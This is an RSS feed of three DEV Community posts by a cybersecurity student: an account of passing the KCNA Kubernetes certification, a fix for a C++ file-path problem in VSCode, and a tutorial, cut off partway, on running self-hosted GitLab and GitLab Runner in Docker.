<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: boiledsteak</title>
    <description>The latest articles on DEV Community by boiledsteak (@boiledsteak).</description>
    <link>https://dev.to/boiledsteak</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F626647%2Ffe7fb4cd-0a21-4937-9c67-5b0cc107c2b2.jpg</url>
      <title>DEV Community: boiledsteak</title>
      <link>https://dev.to/boiledsteak</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/boiledsteak"/>
    <language>en</language>
    <item>
      <title>How I passed KCNA ( Kubernetes &amp; Cloud Native Associate)</title>
      <dc:creator>boiledsteak</dc:creator>
      <pubDate>Fri, 02 Aug 2024 05:45:02 +0000</pubDate>
      <link>https://dev.to/boiledsteak/how-i-passed-kcna-kubernetes-cloud-native-associate-3leo</link>
      <guid>https://dev.to/boiledsteak/how-i-passed-kcna-kubernetes-cloud-native-associate-3leo</guid>
      <description>&lt;p&gt;TLDR; Have some fundamental webdev knowledge and understanding, some devops experience, buy the Kubernetes and Cloud Native Essentials (LFS250) course, do mock exams&lt;/p&gt;

&lt;h1&gt;
  
  
  Contents &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Story Time&lt;/li&gt;
&lt;li&gt;Exam Dumps&lt;/li&gt;
&lt;li&gt;The Exam&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Story Time &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;I am studying cybersecurity in university and I am interested in pursuing more blue team roles especially in cloud and devops / devsecops. Anyone doing devops would know what Kubernetes is. Based on my limited understanding, its basically the end stage of a CICD pipeline. Your cloud native microservices architecture application with hundreds of containers would be managed (orchestrated) by Kubernetes. If your web application is not at this scale, Docker compose would probably suffice.&lt;/p&gt;

&lt;p&gt;Whenever I explain Kubernetes to friends who aren't in IT, I would tell them this. Imagine yourwebsite.com runs in a single box. It can only fit a limited number of visitors before the box is full. So what if you can run yourwebsite.com in 2 boxes? This way you can have more visitors. This is what Kubernetes does. Creates more resources for your website when it needs. Then at the same time, what happens when your 2 box website has low traffic and uses 1 box only? Kubernetes automatically brings down the extra box. This is a huge oversimplification of all the features Kubernetes has but I believe it describes the gist of Kubernetes.&lt;/p&gt;

&lt;p&gt;While learning about the different stages of a CICD pipeline, I learnt Kubernetes by poking around with minikube. I was glad to see that it was similar to Docker compose. But once I pulled up the Minikube dashboard, I was bombarded with so much jargon and information. Hmmm instead of diving head first into K8s, I decided to do more research first.&lt;/p&gt;

&lt;p&gt;That's where I discovered &lt;a href="https://www.meetup.com/k8s-sg/" rel="noopener noreferrer"&gt;K8SUG&lt;/a&gt;. Apparently there's a meetup group in Singapore (where I live) for K8s. And they have been organising these meetups every month, for a few years already. I found this very interesting because I don't see special interest groups for say metasploit. Why would a certain software have a community that meets up every month? Quite bizzare to me still hahaha. You can ask me more about the meet ups. I mention K8SUG because it was here that I was introduced to Yong Kang. I haven't met him in person but in the K8SUG telegram group, he regularly posts promo codes for the K8 certifications. They are substantial discounts of 40 - 50%. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frkeg563jolwk6dopx21f.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frkeg563jolwk6dopx21f.jpg" alt="K8SUG" width="800" height="372"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Damn it's almost as if god was telling me to learn K8 hahaha. So of course, I jumped at the opportunity and paid for the most entry level K8 cert - &lt;a href="https://training.linuxfoundation.org/certification/kubernetes-cloud-native-associate/#" rel="noopener noreferrer"&gt;KCNA&lt;/a&gt;. All MCQ made it more attractive too lol. I bought the bundle that includes the Kubernetes and Cloud Native Essentials (LFS250) course as well. This course together with Introduction to Kubernetes (LFS158) course helped me understand K8 architecture much better. I studied the materials like how I studied my modules in school. Alongside, I poked around hosting Gitlab in my local minikube. Typing in commands myself helped but what I found most helpful was being able to cross refer what I was learning, to the Minikube dashboard showing me the data from my Gitlab app&lt;/p&gt;

&lt;p&gt;For instance, initially I was a bit confused between ingress and NetworkPolicy. I thought they were the same thing. But being able to see their individual tabs in the minikube dashboard, and being able to explore what objects were under what objects, helped me understand better. Minikube dashboard picuted below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26cumlgbzbqs0tfsn96z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26cumlgbzbqs0tfsn96z.png" alt="Minikube dashboard" width="800" height="634"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;BTW, self hosted Gitlab on kubernetes is very simple with Helm. I referred to &lt;a href="https://gist.github.com/nirbhabbarat/8fe32ccaaacc782272c9f49a753e97b4" rel="noopener noreferrer"&gt;here&lt;/a&gt; and &lt;a href="https://docs.gitlab.com/charts/development/minikube/" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So, studying course materials, poking around with minikube, and now the final and probably most crucial bit - doing mock exams aka exam dumps&lt;/p&gt;

&lt;h1&gt;
  
  
  Exam Dumps&lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;From best to okay&lt;br&gt;
&lt;a href="https://www.itexams.com/exam/KCNA" rel="noopener noreferrer"&gt;dump 1&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.exampro.co/kcna" rel="noopener noreferrer"&gt;dump 2&lt;/a&gt;&lt;br&gt;
&lt;a href="https://free-braindumps.com/linux-foundation/free-kcna-braindumps.html?p=2" rel="noopener noreferrer"&gt;dump 3&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.pass4future.com/questions/linux-foundation/kcna" rel="noopener noreferrer"&gt;dump 4&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.dumpsbase.com/freedumps/kubernetes-and-cloud-native-associate-kcna-dumps-effectively-prepare-for-kcna-exam.html" rel="noopener noreferrer"&gt;dump 5&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some of these require account registration.&lt;/p&gt;

&lt;p&gt;There's surely more sources out there, but these are the best ones I found. Some of the questions did appear in my actual KCNA attempt. And of course, the actual KCNA questions had many questions I had not seen before.  &lt;/p&gt;

&lt;p&gt;In this era of generative AI, I consulted Mr Chatgpt for help too.&lt;/p&gt;

&lt;h1&gt;
  
  
  The Exam &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;KCNA includes 1 retake. So essentially you have 2 tries to pass. The passing score is 75%. I studied for about 2 weeks and decided to give it a shot. A bit of an impulse decision, but I treated my first attempt as a gauge to see how the exam would be like. Unfortunately I couldn't pass on my first try, but that's okay. I was relieved to see that the questions weren't crazy difficult, in fact some questions were similar to the ones found in the exam dumps.&lt;/p&gt;

&lt;p&gt;What I wasn't expecting however, was how long it takes for the online proctor to check my room. KCNA is an online proctored exam. The proctor will check your room to ensure you're not cheating. You'll also need to have a camera and mic to stream yourself taking the exam. I used my Fujifilm camera and plugged in my mic to my camera. Normally when I do video calls, I would connect my camera and mic to OBS (open broadcasting software). It took me a while to realise it wouldn't work with the lockdown broswer. I had to use my camera with my mic plugged into it, as the direct source. The lockdown browser is quite iffy ... if you book your exam at 5pm, you can connect at 4:30pm to set up everything. Even if the set up over runs 5pm, you still will have the 90mins for the exam.&lt;/p&gt;

&lt;p&gt;And just like that... after about 3 - 4 weeks of studying, I passed the exam, and am &lt;a href="https://www.credly.com/badges/9e5aa5dc-f76a-4b24-831d-e177c2f4e5cc" rel="noopener noreferrer"&gt;officially certified&lt;/a&gt; as a Kubernetes and Cloud Native Associate :) &lt;/p&gt;

&lt;p&gt;let's connect on &lt;a href="https://www.linkedin.com/in/timothy-mah-1a35531a5/" rel="noopener noreferrer"&gt;linkedin&lt;/a&gt;!&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>devops</category>
      <category>kubernetes</category>
    </item>
    <item>
      <title>C++ program can't find file when running in VScode?</title>
      <dc:creator>boiledsteak</dc:creator>
      <pubDate>Thu, 15 Feb 2024 09:33:51 +0000</pubDate>
      <link>https://dev.to/boiledsteak/c-program-cant-find-file-when-running-in-vscode-kjg</link>
      <guid>https://dev.to/boiledsteak/c-program-cant-find-file-when-running-in-vscode-kjg</guid>
      <description>&lt;p&gt;I was doing my school assignment on C++ and I had issues with it while running my program in Visual Studio Code. It took me a stupidly long time to fix, and my google searches and ChatGPT prompts led to no where. &lt;/p&gt;

&lt;p&gt;So if anyone faced the same issue as me, I hope this helps!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"messy.txt"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;fstream&lt;/span&gt; &lt;span class="nf"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fstream&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"it works &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Above is a simple C++ code snippet that reads a file named "messy.txt". If it works, the program prints out "it works ".&lt;br&gt;
I had my .cpp and .exe in the same folder ad the messy.txt but the program still said it couldn't find the file.&lt;/p&gt;

&lt;p&gt;Then I realised this only happened when I press the "play" or run button in vscode. If I did a manual g++ build command, the program can read the file when run.&lt;/p&gt;

&lt;p&gt;Compiler issue then... I looked at launch.json inside the .vscode folder of my project (or the settings button beside the run button), and sure enough the "cwd" value was pointing to my compiler and not my project folder.&lt;/p&gt;

&lt;p&gt;Yep so that fixed everything.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;TLDR&lt;/strong&gt; check launch.json "cwd" value
&lt;/h2&gt;

&lt;p&gt;I'd love to include more screenshots but I don't want to reveal my personal machine's file paths and all. Contact me if you need help! See my profile for linkedin. I check quite often :)&lt;/p&gt;

</description>
      <category>cpp</category>
      <category>guide</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>How to set up on-prem Gitlab VCS, Gitlab CI/CD, Gitlab Runner, with Docker</title>
      <dc:creator>boiledsteak</dc:creator>
      <pubDate>Wed, 15 Nov 2023 03:09:05 +0000</pubDate>
      <link>https://dev.to/boiledsteak/how-to-set-up-on-prem-gitlab-vcs-gitlab-cicd-gitlab-runner-with-docker-3b5c</link>
      <guid>https://dev.to/boiledsteak/how-to-set-up-on-prem-gitlab-vcs-gitlab-cicd-gitlab-runner-with-docker-3b5c</guid>
      <description>&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;Hello! I haven't posted to Dev.to in a while. I have been learning more about Devops, Devsecops, and how I want to navigate my cybersecurity career.&lt;/p&gt;

&lt;p&gt;I did some hands-on CI/CD by setting up my own pipeline in my local hosted Virtual Machines. This is sort of my documentation of what I did, a tutorial for others, but more importantly to guide my future self should I want to build something like this again.&lt;/p&gt;

&lt;p&gt;To preface, I am a cybersecurity student from Singapore. Apart from school projects, internships, and a couple of side hustles, I do not have true web development/ system adminstration experience in a real-world, large scale production environment. My information may not be 100% accurate; I may be deviating from best practices. Nevertheless, I know that it works. I couldn't find information on this specific permutation of Gitlab and Docker so I hope my sharing would be useful for others who want to build something similar. Let me know if there's anything I could have done better!&lt;/p&gt;

&lt;h1&gt;
  
  
  Infrastructure
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxy77qrs3mw3whflixwqj.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxy77qrs3mw3whflixwqj.jpg" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The infrastructure is actually very simple. It's just 2 docker containers running inside an ubuntu VM. You could even run the 2 docker containers inside Windows. Just need to configure slightly differently. The containers are even pulled from Dockerhub. What made this difficult for me was the configuration files. There's small details that I had to dig from several sources to get my pipeline working.&lt;/p&gt;

&lt;h1&gt;
  
  
  Prerequisites
&lt;/h1&gt;

&lt;p&gt;If running in a VM, you might want to allocate more resources. My Gitlab was quite laggy. I suspect its hardware ... If your Gitlab starts becoming unresponsive, just restart the machine. Avoid pausing the VM too.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpce4loo0y5wlzkowz2j1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpce4loo0y5wlzkowz2j1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Apart from that, you just need Docker.&lt;/p&gt;

&lt;p&gt;It's very simple with apt on Ubuntu. Steps &lt;a href="https://docs.docker.com/engine/install/ubuntu/" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You could also use Docker Desktop for a GUI process however most guides and documentation online give steps through CLI so I used CLI too.&lt;/p&gt;

&lt;p&gt;After installing Docker, you might realise that most Docker commands require sudo. If you do not want to keep typing in sudo:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

sudo usermod -aG docker $USER


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;HOWEVER&lt;/strong&gt; this opens up a &lt;a href="https://fosterelli.co/privilege-escalation-via-docker.html" rel="noopener noreferrer"&gt;privilege escalation security vulneraibility&lt;/a&gt;. This entire write up is for home testing and learning. This is &lt;strong&gt;NOT&lt;/strong&gt; for production.&lt;/p&gt;

&lt;p&gt;That's all! On to the actual installation of Gitlab!&lt;/p&gt;

&lt;h1&gt;
  
  
  Installation
&lt;/h1&gt;

&lt;p&gt;Gitlab has a CE and EE version (community and enterprise). Both are free to download. I used the EE version. Download the Gitlab EE image from Dockerhub&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

docker pull gitlab/gitlab-ee


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;In a Gitlab CI/CD pipeline, there are jobs. Different machines can run the jobs in whatever permutation needed for load balancing and scaling. I'm not very clear on this feature of Gitlab CI/CD but I know that to run a job you need a runner. As quoted in Runner &lt;a href="https://docs.gitlab.com/runner/install/index.html" rel="noopener noreferrer"&gt;documentation&lt;/a&gt;, &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;For security and performance reasons, you should install GitLab Runner on a machine that is separate to the machine that hosts your GitLab instance&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I'm not too sure about the specifics, but I just wanted a single runner to run a simple pipeline. Based on this &lt;a href="https://forum.gitlab.com/t/register-multiple-runners-on-same-host/38650/7" rel="noopener noreferrer"&gt;thread&lt;/a&gt;, it seems okay for my use case to run both the Gitlab container and the Runner container on the same machine.&lt;/p&gt;

&lt;p&gt;So that's what I did.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

docker pull gitlab/gitlab-runner


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h1&gt;
  
  
  Configuration
&lt;/h1&gt;

&lt;p&gt;Now this is the part where I couldn't find a single source of answers. &lt;/p&gt;

&lt;p&gt;From Gitlab &lt;a href="https://docs.gitlab.com/ee/install/docker.html" rel="noopener noreferrer"&gt;documentation&lt;/a&gt;, first create a directory for the Gitlab files:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

export GITLAB_HOME=/srv/gitlab


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Then create a file named &lt;code&gt;docker-compose.yml&lt;/code&gt; (actually you can name it anything you want but this step makes some processes more convenient). Docker compose files allow you to write whatever configuration you want before running the container. Multiple containers can be run with one single compose file too. But I'm not too sure about the best practices of this. I believe IAC tools such as Ansible can be used too but for my testing I just used one compose file for one container.&lt;/p&gt;

&lt;p&gt;Gitlab container's &lt;code&gt;docker-compose.yml&lt;/code&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;

&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.6'&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;docker&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/var/run/docker.sock:/var/run/docker.sock'&lt;/span&gt;
        &lt;span class="na"&gt;tty&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
        &lt;span class="na"&gt;stdin_open&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
        &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker&lt;/span&gt;
    &lt;span class="na"&gt;web&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;gitlab/gitlab-ee:latest'&lt;/span&gt;
        &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;
        &lt;span class="na"&gt;environment&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="na"&gt;GITLAB_OMNIBUS_CONFIG&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;

        &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;80:80'&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;443:443'&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;22:22'&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;8093:8093'&lt;/span&gt;
        &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;$GITLAB_HOME/config:/etc/gitlab'&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;$GITLAB_HOME/logs:/var/log/gitlab'&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;$GITLAB_HOME/data:/var/opt/gitlab'&lt;/span&gt;
        &lt;span class="na"&gt;shm_size&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;256m'&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;I don't remember exactly what each config is for but I can roughly explain a few key ones:&lt;br&gt;
&lt;code&gt;volumes&lt;/code&gt; this is to make storage persistent&lt;br&gt;
&lt;code&gt;restart&lt;/code&gt; I think this is to run the container on boot&lt;br&gt;
&lt;code&gt;ports&lt;/code&gt; apart from the common ports, I believe port 8093 is for &lt;a href="https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section" rel="noopener noreferrer"&gt;session_server&lt;/a&gt;.&lt;br&gt;
&lt;code&gt;shm_size&lt;/code&gt; the Gitlab app is very resource heavy so apparently this increases RAM allocation... I think&lt;/p&gt;

&lt;p&gt;Next, in a separate directory, create another &lt;code&gt;docker-compose.yml&lt;/code&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;

&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.6'&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
     &lt;span class="na"&gt;gitlab-runner&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;container_name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gitlab-runner&lt;/span&gt;
          &lt;span class="na"&gt;restart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;
          &lt;span class="na"&gt;stdin_open&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
          &lt;span class="na"&gt;tty&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
          &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;register&lt;/span&gt;
          &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
                &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/srv/gitlab-runner/config:/etc/gitlab-runner'&lt;/span&gt;
                &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/var/run/docker.sock:/var/run/docker.sock'&lt;/span&gt;
          &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;gitlab/gitlab-runner:latest'&lt;/span&gt;
          &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
                &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;81:80'&lt;/span&gt;
                &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;8094:8093'&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Then in the Gitlab container directory and the Runner directory:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

docker compose up -d


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Gitlab takes some time to start. To see the status of the containers:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

docker ps


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Next, you need  to access the Gitlab app's config files. You could try open an editor within the container or do what I did lol. Install the docker extention in VS code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpa227awiai6bad9qcgeo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpa227awiai6bad9qcgeo.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
Navigate to &lt;code&gt;etc/gitlab/gitlb.rb&lt;/code&gt; and look for the &lt;code&gt;external_url&lt;/code&gt;. For home testing/learning you can use your own IP address. &lt;code&gt;hostname -I&lt;/code&gt;. Read &lt;a href="https://stackoverflow.com/a/28005168" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If everything goes well, open your web browser and enter your IP address. You should see the Gitlab login. The default username should be &lt;code&gt;root&lt;/code&gt; while the password can be found in &lt;code&gt;etc/gitlab/initial_root_password&lt;/code&gt;. You can change the password through the web GUI afterwards. Once logged in, click click click ~ create your project.&lt;/p&gt;

&lt;p&gt;Then there's 2 things you'd want to look at. First, the pipeline editor:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftkq62mbdrf0tpkddkhb8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftkq62mbdrf0tpkddkhb8.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
This is where you configure your CI/CD pipeline with whatever building and testing you want.&lt;/p&gt;

&lt;p&gt;Second, you'd want to link your runner to your project.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frd58kb3jo46n1lgtip0f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frd58kb3jo46n1lgtip0f.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Gitlab app guides you on the runner registration. Just click new runner registration and follow the steps. &lt;strong&gt;Allow the runner to run untagged jobs&lt;/strong&gt;. This is just for convenience. Next screen shows you the steps to continue.&lt;/p&gt;

&lt;p&gt;To run commands in the Runner app:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

docker exec -it gitlab-runner bash


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

